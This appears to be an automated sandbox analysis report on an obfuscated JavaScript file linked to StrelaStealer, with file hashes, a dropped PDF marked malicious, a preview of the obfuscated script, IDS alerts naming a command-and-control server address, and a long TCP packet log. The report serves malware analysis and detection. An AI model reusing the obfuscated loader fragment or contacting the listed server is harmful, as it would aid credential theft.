SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15882), with CRLF line terminators
Entropy (8bit):	4.924911703703959
TrID:
File name:	599461291572316126.js
File size:	19'378 bytes
MD5:	f06a8756060b3e40c64e27a53a52764a
SHA1:	be8605c418ff61566c44fb78a92ecbad49bce87c
SHA256:	e0e40f76df467f0afc095402649dd38b1c185d6a536adeb1549eda63252e9b74
SHA512:	ff26b86c8dc65e39cc84d3a4cab6a8ee1d603956c7683634bfe2e7fcee834e050ff44eed53a137c645cfd77728191e9bd0394b98203075dca9a67e5f7834e06f
SSDEEP:	192:gCXQRir4eU1sZ3sMgabDFmYz6u+PBKg29uGN/P+1Pbj8AEHvbf3NjzvTNycDnlIv:VXQRirXqsZ5gabBiQH/6bjDyTtzAx
TLSH:	1E924588C8CDE54FA5F043B07D63119763BC00C985A6086D2466ACD9DC69B52E6FE2FF
File Content Preview:	function hrtjjt(){svpvgfesx=[1031,3079,5127,4103,2055,3072];var iezqizys=this[vexjgt+vxkig+ncvhfvsn+wdouyy+nyigsltd+wqxboutwj+licgqgghn+rnvev](this[rdelme+ztncwsurp+sisqp+ncvhfvsn+kpdlgwb+vexjgt+rnvev][qwhurna+ncvhfvsn+nyigsltd+vxkig+rnvev+nyigsltd+lsktgv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:58:29.181275+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T08:58:29.181275+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-11T08:58:31.905339+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49713	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:58:28.371943951 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:28.377057076 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:28.377150059 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:28.379755020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:28.384602070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181169987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181195021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181204081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181210995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181221962 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181274891 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.181345940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181356907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181366920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181377888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181384087 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.181413889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.181483984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.181516886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.186136961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.186147928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.186158895 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.186327934 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.227592945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.227607965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.227670908 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.306093931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306108952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306128025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306196928 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306209087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306260109 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.306282997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306299925 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.306314945 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.306760073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306816101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306827068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306843996 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.306946039 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.306976080 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.307423115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.307435036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.307445049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.307463884 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.307477951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.307488918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.307506084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.308439970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.308460951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.308471918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.308478117 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.308511019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.308541059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.308553934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.308581114 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.309098959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.309139967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.309149981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.309168100 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.358477116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.361733913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.398946047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.398967028 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.398978949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.398988008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.399024010 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.399079084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.430901051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.430928946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.430939913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.430995941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.431035995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431046009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431056976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431129932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431178093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.431309938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431421995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431435108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431446075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431454897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.431476116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.431776047 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431817055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431828976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431879997 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.431982040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.431993008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432003021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432034969 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.432046890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.432533026 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432552099 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432562113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432600975 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.432709932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432720900 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432730913 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432738066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.432742119 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.432770967 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.433444023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433454037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433465958 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433480024 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.433499098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.433571100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433581114 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433592081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433603048 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.433625937 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.433653116 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.434319019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434329033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434340000 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434372902 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.434432983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434443951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434454918 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434464931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.434467077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.434499979 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.435228109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.435240030 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.435250044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.435261011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.435266018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.435306072 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.452676058 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.452708960 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.452737093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.490047932 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.490062952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.490103006 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.523490906 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.523591995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.523643970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.523679018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.523686886 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.523713112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.523727894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.523749113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.523761034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.555737972 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.555789948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.555824995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.555857897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.555906057 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.555910110 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.555922031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.555944920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.555978060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.555979013 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556026936 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556027889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556061983 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556093931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556109905 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556127071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556159973 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556174994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556194067 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556240082 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556395054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556473017 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556505919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556519032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556598902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556632042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556643009 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556665897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556708097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.556715965 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556751966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556786060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.556796074 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557106018 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557138920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557152033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557174921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557219028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557224989 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557257891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557291031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557302952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557324886 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557365894 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557413101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557462931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557497025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557504892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557532072 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.557585955 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.557975054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558007956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558049917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558079004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558113098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558145046 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558152914 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558177948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558212996 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558219910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558247089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558279991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558290005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558312893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558345079 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558355093 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558379889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558420897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558803082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558855057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558887959 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.558898926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.558990002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559021950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559036970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559055090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559087038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559094906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559184074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559216976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559228897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559250116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559282064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559293032 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559334040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559381962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559798002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559830904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559864998 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559879065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559914112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559947014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.559957027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.559981108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560014009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560023069 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.560167074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560199022 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560210943 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.560233116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560265064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560275078 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.560301065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.560349941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.580754042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.580785990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.580821037 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.580853939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.580908060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.580946922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.614300966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614329100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614334106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614382029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614393950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614459991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.614514112 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.614515066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614526033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614537954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614558935 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.614590883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.614660025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614670992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.614708900 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.622109890 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.646518946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.646541119 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.646548986 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.646595001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.646605015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.646615982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.646677017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.646722078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.647881031 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.647927999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.647936106 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.647941113 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.647986889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.648025036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.648036957 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.648081064 CET	49711	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:58:29.648107052 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.648176908 CET	80	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 08:58:29.648186922 CET	80	49711	193.143.1.205	192.168.2.6
